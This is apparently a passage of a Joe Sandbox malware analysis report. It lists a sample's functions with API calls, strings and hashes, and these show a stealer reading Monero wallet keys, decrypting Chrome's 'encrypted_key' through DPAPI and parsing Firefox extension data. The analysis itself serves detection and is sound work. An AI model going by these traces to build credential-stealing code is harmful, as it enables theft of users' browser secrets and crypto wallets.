GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00BF6663

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

Part of subcall function 00BFA9B0: lstrlen.KERNEL32(?,009B88D8,?,\Monero\wallet.keys,00C00E17), ref: 00BFA9C5
Part of subcall function 00BFA9B0: lstrcpy.KERNEL32(00000000), ref: 00BFAA04
Part of subcall function 00BFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BFAA12

Part of subcall function 00BFA8A0: lstrcpy.KERNEL32(?,00C00E17), ref: 00BFA905

ShellExecuteEx.SHELL32(0000003C), ref: 00BF6726
ExitProcess.KERNEL32 ref: 00BF6755

Strings

<, xrefs: 00BF66D9

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: c0c6ff3982d74508637a5eed0db50bccc27278644cc0bee96e17ac723481189c
Instruction ID: a9adc6500fb6596487f44e6502bb49a7a8e24f505d32a68570b76133c1253038
Opcode Fuzzy Hash: c0c6ff3982d74508637a5eed0db50bccc27278644cc0bee96e17ac723481189c
Instruction Fuzzy Hash: 1231D8B1801218ABDB18EB50DC95BEEB7B8AF44300F405199F30977191DFB46A4DCF9A

Function 00BF87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00C00E28,00000000,?), ref: 00BF882F
RtlAllocateHeap.NTDLL(00000000), ref: 00BF8836
wsprintfA.USER32 ref: 00BF8850

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

Strings

%dx%d, xrefs: 00BF8847

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: ee7c65fa7b6814321a4b70376c0e72bf71e54042fc39cefb1dd41e1a19755855
Instruction ID: 972bab36d4471da358f9446d6586d20191f1c5ccb108edf6028921756d7a0ffb
Opcode Fuzzy Hash: ee7c65fa7b6814321a4b70376c0e72bf71e54042fc39cefb1dd41e1a19755855
Instruction Fuzzy Hash: 72213DB1A40208AFDB18DF95DD49FAEBBB8FB48701F144169F605B7280C779A905CBA1

Function 00BF8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00BF951E,00000000), ref: 00BF8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00BF8D62
wsprintfW.USER32 ref: 00BF8D78

Strings

%hs, xrefs: 00BF8D6F

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 0cdb9a9dd3b075daaa6c7e08a7427c077fcc82ecd0af214ee699fd4c668b0264
Instruction ID: cd9922243008cd5eb60b9a5ed7eed345b0b69d43bb6ef8500225046d7a66b523
Opcode Fuzzy Hash: 0cdb9a9dd3b075daaa6c7e08a7427c077fcc82ecd0af214ee699fd4c668b0264
Instruction Fuzzy Hash: E3E08CB0A40208BFD728DB95DC0EE6977B8EB04702F0441A4FE09A7280DA719E058B96

Function 00BEA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

Part of subcall function 00BFA9B0: lstrlen.KERNEL32(?,009B88D8,?,\Monero\wallet.keys,00C00E17), ref: 00BFA9C5
Part of subcall function 00BFA9B0: lstrcpy.KERNEL32(00000000), ref: 00BFAA04
Part of subcall function 00BFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BFAA12

Part of subcall function 00BFA8A0: lstrcpy.KERNEL32(?,00C00E17), ref: 00BFA905

Part of subcall function 00BF8B60: GetSystemTime.KERNEL32(00C00E1A,009BE6A8,00C005AE,?,?,00BE13F9,?,0000001A,00C00E1A,00000000,?,009B88D8,?,\Monero\wallet.keys,00C00E17), ref: 00BF8B86

Part of subcall function 00BFA920: lstrcpy.KERNEL32(00000000,?), ref: 00BFA972
Part of subcall function 00BFA920: lstrcat.KERNEL32(00000000), ref: 00BFA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00BEA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00BEA3FF
lstrlen.KERNEL32(00000000), ref: 00BEA6BC

Part of subcall function 00BFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BFA7E6

DeleteFileA.KERNEL32(00000000), ref: 00BEA743

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 42413800d67bd619317d92e50e3244fe21b162cc311bb90ef58ebc8d1d8e01de
Instruction ID: 26d76933853d805b8d1e4f45e6922147b0d0a965d3a97e8f29ee8da936738749
Opcode Fuzzy Hash: 42413800d67bd619317d92e50e3244fe21b162cc311bb90ef58ebc8d1d8e01de
Instruction Fuzzy Hash: CAE1C1B281010C9BDB19EBA4DC91EFE73B8AF14340F5481A9F61A77091DF706A4DCB62

Function 00BED400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

Part of subcall function 00BFA9B0: lstrlen.KERNEL32(?,009B88D8,?,\Monero\wallet.keys,00C00E17), ref: 00BFA9C5
Part of subcall function 00BFA9B0: lstrcpy.KERNEL32(00000000), ref: 00BFAA04
Part of subcall function 00BFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BFAA12

Part of subcall function 00BFA8A0: lstrcpy.KERNEL32(?,00C00E17), ref: 00BFA905

Part of subcall function 00BF8B60: GetSystemTime.KERNEL32(00C00E1A,009BE6A8,00C005AE,?,?,00BE13F9,?,0000001A,00C00E1A,00000000,?,009B88D8,?,\Monero\wallet.keys,00C00E17), ref: 00BF8B86

Part of subcall function 00BFA920: lstrcpy.KERNEL32(00000000,?), ref: 00BFA972
Part of subcall function 00BFA920: lstrcat.KERNEL32(00000000), ref: 00BFA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00BED481
lstrlen.KERNEL32(00000000), ref: 00BED698
lstrlen.KERNEL32(00000000), ref: 00BED6AC
DeleteFileA.KERNEL32(00000000), ref: 00BED72B

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: cd4523fb22056fd83c6b666c01cd7ca1049c178d606a56563aa71118e5e1d10e
Instruction ID: 311906b4cfc406d6704b09ff002f583838551df32305ee2c3439a6b658dd2b98
Opcode Fuzzy Hash: cd4523fb22056fd83c6b666c01cd7ca1049c178d606a56563aa71118e5e1d10e
Instruction Fuzzy Hash: 9391DEB191010C9BDB18EBA4DC96DFE73B8AF14340F5481A9F61A77091EF746A0DCB62

Function 00BED780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

Part of subcall function 00BFA9B0: lstrlen.KERNEL32(?,009B88D8,?,\Monero\wallet.keys,00C00E17), ref: 00BFA9C5
Part of subcall function 00BFA9B0: lstrcpy.KERNEL32(00000000), ref: 00BFAA04
Part of subcall function 00BFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BFAA12

Part of subcall function 00BFA8A0: lstrcpy.KERNEL32(?,00C00E17), ref: 00BFA905

Part of subcall function 00BF8B60: GetSystemTime.KERNEL32(00C00E1A,009BE6A8,00C005AE,?,?,00BE13F9,?,0000001A,00C00E1A,00000000,?,009B88D8,?,\Monero\wallet.keys,00C00E17), ref: 00BF8B86

Part of subcall function 00BFA920: lstrcpy.KERNEL32(00000000,?), ref: 00BFA972
Part of subcall function 00BFA920: lstrcat.KERNEL32(00000000), ref: 00BFA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00BED801
lstrlen.KERNEL32(00000000), ref: 00BED99F
lstrlen.KERNEL32(00000000), ref: 00BED9B3
DeleteFileA.KERNEL32(00000000), ref: 00BEDA32

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 29b053b1a918ff8abc2064c006dac675ae68806b3e244c8e33abf7266fbdaedb
Instruction ID: bd95615a0989c3f4c6b142bf01339bd7fe202366fb83d3ba0ae2300bc4c8a92a
Opcode Fuzzy Hash: 29b053b1a918ff8abc2064c006dac675ae68806b3e244c8e33abf7266fbdaedb
Instruction Fuzzy Hash: 8A81BDB191010C9BDB18EBA4DC56DFE73B8AF14340F5485A9F60AB7091EF746A0DCB62

Function 00BEF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BFA7E6

Part of subcall function 00BE99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00BE99EC
Part of subcall function 00BE99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00BE9A11
Part of subcall function 00BE99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00BE9A31
Part of subcall function 00BE99C0: ReadFile.KERNEL32(000000FF,?,00000000,00BE148F,00000000), ref: 00BE9A5A
Part of subcall function 00BE99C0: LocalFree.KERNEL32(00BE148F), ref: 00BE9A90
Part of subcall function 00BE99C0: CloseHandle.KERNEL32(000000FF), ref: 00BE9A9A

Part of subcall function 00BF8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00BF8E52

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

Part of subcall function 00BFA9B0: lstrlen.KERNEL32(?,009B88D8,?,\Monero\wallet.keys,00C00E17), ref: 00BFA9C5
Part of subcall function 00BFA9B0: lstrcpy.KERNEL32(00000000), ref: 00BFAA04
Part of subcall function 00BFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BFAA12

Part of subcall function 00BFA8A0: lstrcpy.KERNEL32(?,00C00E17), ref: 00BFA905

Part of subcall function 00BFA920: lstrcpy.KERNEL32(00000000,?), ref: 00BFA972
Part of subcall function 00BFA920: lstrcat.KERNEL32(00000000), ref: 00BFA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00C01580,00C00D92), ref: 00BEF54C
lstrlen.KERNEL32(00000000), ref: 00BEF56B

Strings

moz-extension+++, xrefs: 00BEF5AD
^userContextId=4294967295, xrefs: 00BEF59C

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 0ae13e6753ea0b087c1678fdf07a1a9464c0836c1e0cd516d33392f96d2f782d
Instruction ID: eca33bde6535c4470873d54e4e456c6c8bd132d2505820970f73e6dd970f7e47
Opcode Fuzzy Hash: 0ae13e6753ea0b087c1678fdf07a1a9464c0836c1e0cd516d33392f96d2f782d
Instruction Fuzzy Hash: 7F5111B1D0010DAADB08FBA4DC52DFDB3B8AF54340F408568F91A67195EF746A0DCBA2

Function 00BF3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 5e4724eac8ff119753571ae190c83ed5c208353b6ab682d324b9606fa3416c36
Instruction ID: 3d0a1c9e631c58bb27763c0ef795e6dca17e7f28a2cb0c587efa3630d0beec9e
Opcode Fuzzy Hash: 5e4724eac8ff119753571ae190c83ed5c208353b6ab682d324b9606fa3416c36
Instruction Fuzzy Hash: 83413FB1D1410DABCB08EFA4D895AFEB7F8AB54704F148058E616B7290DB746A09CFA1

Function 00BE9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

Part of subcall function 00BE99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00BE99EC
Part of subcall function 00BE99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00BE9A11
Part of subcall function 00BE99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00BE9A31
Part of subcall function 00BE99C0: ReadFile.KERNEL32(000000FF,?,00000000,00BE148F,00000000), ref: 00BE9A5A
Part of subcall function 00BE99C0: LocalFree.KERNEL32(00BE148F), ref: 00BE9A90
Part of subcall function 00BE99C0: CloseHandle.KERNEL32(000000FF), ref: 00BE9A9A

Part of subcall function 00BF8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00BF8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00BE9D39

Part of subcall function 00BE9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00BE4EEE,00000000,00000000), ref: 00BE9AEF
Part of subcall function 00BE9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00BE4EEE,00000000,?), ref: 00BE9B01
Part of subcall function 00BE9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00BE4EEE,00000000,00000000), ref: 00BE9B2A
Part of subcall function 00BE9AC0: LocalFree.KERNEL32(?,?,?,?,00BE4EEE,00000000,?), ref: 00BE9B3F

Part of subcall function 00BE9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00BE9B84
Part of subcall function 00BE9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00BE9BA3
Part of subcall function 00BE9B60: LocalFree.KERNEL32(?), ref: 00BE9BD3

Strings

DPAPI, xrefs: 00BE9D89
, xrefs: 00BE9DC1
"encrypted_key":", xrefs: 00BE9D30

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: a855459a615e256084c70a52f7b7092c2580fae88e9f249d89e7ab6c3226afad
Instruction ID: f8ffe06396fa636e8a3e028cc004af9c2001d057037bce52085bdca011d081da
Opcode Fuzzy Hash: a855459a615e256084c70a52f7b7092c2580fae88e9f249d89e7ab6c3226afad
Instruction Fuzzy Hash: F43112B5D10219ABCF14DFE5DC85AEEB7F8EF48304F144569E905A7241E734DA08CBA1

Function 00BF92E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

